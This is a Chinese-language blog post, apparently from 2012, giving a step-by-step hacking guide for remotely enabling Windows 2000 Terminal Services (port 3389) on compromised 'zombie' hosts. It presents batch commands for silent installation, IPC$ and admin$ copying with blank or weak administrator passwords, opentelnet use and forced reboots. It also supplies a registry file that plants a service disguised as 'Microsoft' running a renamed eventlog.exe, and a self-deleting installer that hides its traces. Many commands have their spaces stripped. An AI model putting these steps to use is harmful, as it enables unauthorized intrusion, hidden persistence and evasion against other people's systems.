开启端口3389

1,打开记事本,编辑内容如下: 
echo[Components]>c:\sql 
echoTSEnable=on>>c:\sql 
sysocmgr/i:c:\winnt\inf\sysoc.inf/u:c:\sql/q 
编辑好后存为BAT文件,上传至肉鸡,执行。这里值得注意的是要确定winnt是否在c盘,如果在其他盘则需要改动。 
2(对xp\2000都有效)脚本文件本地开3389工具:rots1.05 
地址:www.netsill.com/rots.zip 
使用方法: 
在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如: 
c:\>cscriptROTS.vbs<目标IP><用户名><密码>[服务端口][自动重起选项]

服务端口:设置终端服务的服务端口。默认是3389。 
自动重起选项:使用/r表示安装完成后自动重起目标使设置生效。 
使用/fr表示强制重起目标。(如果/r不行,可以试试这个) 
使用此参数时,端口设置不能忽略。

比如扫描到了一个有NT弱口令的服务器,IP地址是222.222.222.222,管理员帐户是administrator,密码为空 
运行CMD(2000下的DOS),我们给它开终端! 
命令如下! 
cscriptreg.vbe222.222.222.222administrator3389/fr 
上面的命令应该可以理解吧?cscriptreg.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为222.222.222.222这 台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以 /r,这是普通重启)

脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。 
因为pro版不能安装终端服务。 
如果你确信脚本判断错误,就继续安装好了。

如果要对本地使用,IP地址为127.0.0.1或者一个点(用.表示),用户名和密码都为空(用表示)。

脚本访问的目标的135端口,如果目标135端口未开放,或者WMI服务关闭,那么脚本就没用了。


3,下载3389自动安装程序-djshao正式版5.0 
地址www.netsill.com/djshao.zip
说明: 
解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyxs.exe上传到肉鸡的c:\winnt\temp下,然后进入c: \winnt\temp目录执行djxyxs.exe解压缩文件,然后再执行解压缩出来的azzd.exe文件,等一会肉鸡会自动重启!重启后会出现终端 服务!

特点:1、不用修改注册表的安装路径,注册表会自动修改,安装完后会自动恢复到原来的安装路径,2、在后台安静模式运行,就算肉鸡旁有人也没有关 系!3、在添加和删除中看不出终端服务被安装的痕迹,也就是启动终端前不会打钩,4、不会在肉鸡上留下你的上传文件,在安装完终端服务后会会自动删除你上 传到c:\winnt\temp下的任何文件!5、不管肉鸡的winnt装在什么盘上都无所谓!6、安装完终端后会删除在管理工具中的终端快捷图标!7、 在没有安装终端前,终端服务是被禁止的!安装终端后,终端服务被改为自动!但是如果在安装前终端服务是手动!安装后就可能还是手动!等重启后就不会打开服 务!所以在软件中加了sc指令,等安装完后,不管终端服务是禁止还是手动还是自动,全部改为自动。8、自动检测肉鸡是不是服务器版,如果不是删除原文件, 不执行安装,如果是服务器版就执行安装!9、支持中日韩繁四个版本的win2000服务器版!

5,下载DameWareNTUtilities3.66.0.0注册版 
地址www.netsill.com/dwmrcw36600.zip
安装注册完毕后输入对方IP用户名密码,等待出现是否安装的对话框点是。 
复制启动后出现对方桌面。 
在对方桌面进入控制面版,点添加或删除程序。进入后点添加/删除windows组件,找到终端服务,点际进入后在启动终端服务上打上勾。确定自动提示重起,重起后OK。

 

 

先我们制作开启3389的工具 
先把下面的注册表内容copy一份,另存为3389.reg注册表文件 
注册表内容: 
WindowsRegistryEditorVersion5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] 
"Enabled"="0" 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon] 
"ShutdownWithoutLogon"="0" 
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] 
"EnableAdminTSRemote"=dword:00000001 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer] 
"TSEnabled"=dword:00000001 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] 
"Start"=dword:00000002 
[HKEY_USERS\.DEFAULT\KeyboardLayout\Toggle] 
"Hotkey"="1" 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] 
"Start"=dword:00000002 
"ErrorControl"=dword:00000001 
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ 
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ 
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 
"ObjectName"="LocalSystem" 
"Type"=dword:00000010 
"Description"="Microsoft" 
"DisplayName"="Microsoft" 
再把下面的内容保存为批处理文件3389.bat 
安装批处理内容: 
copytermsrv.exeeventlog.exe 
regedit.exe/s3389.reg 
del3389.reg 
del3389.exe 
del3389.bat 
用winrar制作成exe自解压缩包

61.188.***.***user:administratopass:空 
先使用工具letmein判断其操作系统 
letmein\\ip-all-d 
TsInternetUser(TsInternetUser)这个是2000的终端用户,现在可以判断其为2000server了 
再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾 
应该没有开启了 
建立ipc连接 
copy工具过去 
netuse\\ip\ipc$"pass"/user:name 
copyfile\\ip\admin$\system32 
用opentelnet开对方的telnet 
opentelnet\\ipnamepass199 
用telnet进入 
进入到对方的winnt\system32\ 
目录 
解压缩3389.exe 
运行安装批处理3389.bat 
现在我们把对方重起一下,用reboot 
我们用ping命令监视他的上线情况,等他下线,呵呵下了,又上来了,不慌连,3389等会才能好,对方的机器有点慢 
看见了么,开启成功!


现在开始.

假设我们拿到了一个主机的管理员帐户和密码. 
主机:192.168.0.1 
帐号:administrator 
密码:7788 
2000系统安装在c:\winnt下


从上面的的介绍可以知道,2000专业版是不可以远程安装终端服务的,那我们就要首先来 
判断此主机是专业版还是服务器版,才能进入下一个环节.

我们可以先用对方所开帐户判断:

c:\>letmein\\192.168.0.1-all-d 
statingconnectingtoserver... 
Serverlocaltimeis:2002-1-1310:19:22 
Startgetallusersformserver... 
-------------------------- 
Total=5 
-------------------------- 
num0=Administrator() 
num1=Guest() 
num2=IUSR_servername(Internet来宾帐号) 
num3=IWAM_servername(启动IIS进程帐号) 
num4=TsInternetUser(TsInternetUser) 
-------------------------- 
Total=5 
--------------------------

一般情况num2/3/4这三个帐户都是2000server默认开启的. 
2000专业版默认是不开这些帐户的.

我们也可以扫描对方开放的端口进一步确认: 
用扫描软件如:superscan3.exe扫描对方所开端口 
判断对方是否开启25,3372等2000server默认开启的端口.

当然我们还可以使用一些工具,如:cmdinfo.zip 
这2个东东可以获得本地或远程NT/2K主机的版本,系统路径,源盘路径,PACK版本,安装时间等一 
系列信息,一个图形界面,一个命令行. 
通过返回的信息就可以很清楚的了解对方主机情况.

还有一些其他的方法来判断,如:从对方所开的服务来确定等, 
从上面的判断准确率还算高,别的就不一一说明了.


如果你在以上步骤里发现对方主机并没有那3个帐户,默认端口也没开, 
或cmdinfo返回的信息对方是2000专业版,你就要放弃安装3389的计划了.


现在我们要进入下一环节: 
判断终端服务到底有没有安装?

你也许要问:为什么还要判断啊?我扫描没有发现3389端口啊? 
这里就需要解释一下,如果装了终端服务组件,可能有哪几种情况扫描不到3389端口? 
1.终端服务termservice在"管理工具">>>"服务"中被禁用. 
2.终端服务连接所需的RDP协议在"管理工具">>>"终端服务配置"中被停用连接. 
3.终端服务默认连接端口3389被人为的改变.如何改变请看修改终端服务默认的3389端口(图文) 
4.终端服务绑定的网络适配器不是外网的. 
5.防火墙和端口过滤之类的问题. 
6.....(还有我没想到的) 
其实,我们遇到最多的情况就是以上5种情况.

现在开始判组件是否被安装.

先与远程主机连接,映射远程主机C盘为本地Z盘 
netusez:\\192.168.0.1\c$"7788"/user:"administrator" 
命令成功完成。

然后转到Z盘,检查 
Z:\DocumentsandSettings\AllUsers\「开始」菜单\程序\管理工具> 
里是否有"终端服务管理器"和"终端服务配置"的快捷方式文件 
如有已安装服务组件的会有,反之,没有(98%人为故意删的可能性较小) 
我们还可以在下一步telnet到对方主机后使用终端服务自带的命令进一步的核实.

判断完毕,对方好像是没有安装终端服务组件,可以进入下一步: 
telnet登陆对方主机,准备安装服务组件.

在这里,我强烈建议使用2000自带的telnet服务端登陆, 
有回显,不容易出错.个人感觉使用它,一次成功的比例高很多.(呵呵~,个人理解啊!) 
就算没有开,打开用完后再关掉就完了. 
.abu.写的最快速登录WIN2KTELNET服务已经把这个方法介绍的非常详细, 
而且他的办法(在本机建立同名,同密码帐户),让快速实现telnet登陆成为现实.

假如我们已开启对方23端口, 
telnet192.168.0.1 
输入用户名/密码 
*=============================================================== 
欢迎使用MicrosoftTelnet服务器。 
*=============================================================== 
C:\> 
\\成功进入!!!!

进入后,再次检查终端组件是否安装: 
c:\>queryuser 
这个工具需要安装终端服务.

这样就进一步确定了组件没有被安装.如果返回: 
USERNAMESESSIONNAMEIDSTATEIDLETIMELOGONTIME 
>w1console0运行中.2002-1-1222:5 
\\类似这样的信息,可能组件就已安装.

好!都清楚了,可以开始安装了. 
--------------------------------------------------- 
C:\>dirc:\sysoc.inf/s//检查INF文件的位置 
c:\WINNT\inf的目录

2000-01-1020:003,770sysoc.inf 
1个文件3,770字节 
----------------------------------------------------- 
C:\>dirc:\sysocmgr.*/s//检查组件安装程序 
c:\WINNT\system32的目录

2000-01-1020:0042,768sysocmgr.exe 
1个文件42,768字节 
----------------------------------------------------- 
c:\>echo[Components]>c:\wawa 
c:\>echoTSEnable=on>>c:\wawa 
//这是建立无人参与的安装参数 
c:\>typec:\wawa 
[Components] 
TSEnable=on 
//检查参数文件 
------------------------------------------------------ 
c:\>sysocmgr/i:c:\winnt\inf\sysoc.inf/u:c:\wawa/q 
----------------------------------------------------- 
这一条就是真正安装组件的命令. 
以上这条命令没有加/R参数,主机在安装完后自动重起. 
如若加了/R参数主机就不会重起.

如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时, 
3389终端服务就已经开启.你就可以连上去了.

问题和建议:

A在安装过程中,不使用/R,有时主机也不会重起,你就要手动重起他,但在使用诸如:iisreset/reboot命令时,对方 
的屏幕会出现个对话框,写着谁引起的这次启动,离重起还有多少秒.

B一次不行可以再试一次,在实际中很有作用.

C在输入sysocmgr命令开始安装时,一定不要把命令参数输错,那会在对方出现一个大的对话框,是sysocmgr的帮助,很是显眼, 
而且要求确定.在你的屏幕上是不会有任何反应的,你不会知道出错,所以会有B的建议.

posted @ 2012-03-30 21:05  WebApi  阅读(1037)  评论(0编辑  收藏  举报
CopyRight © 博客园 WebAPI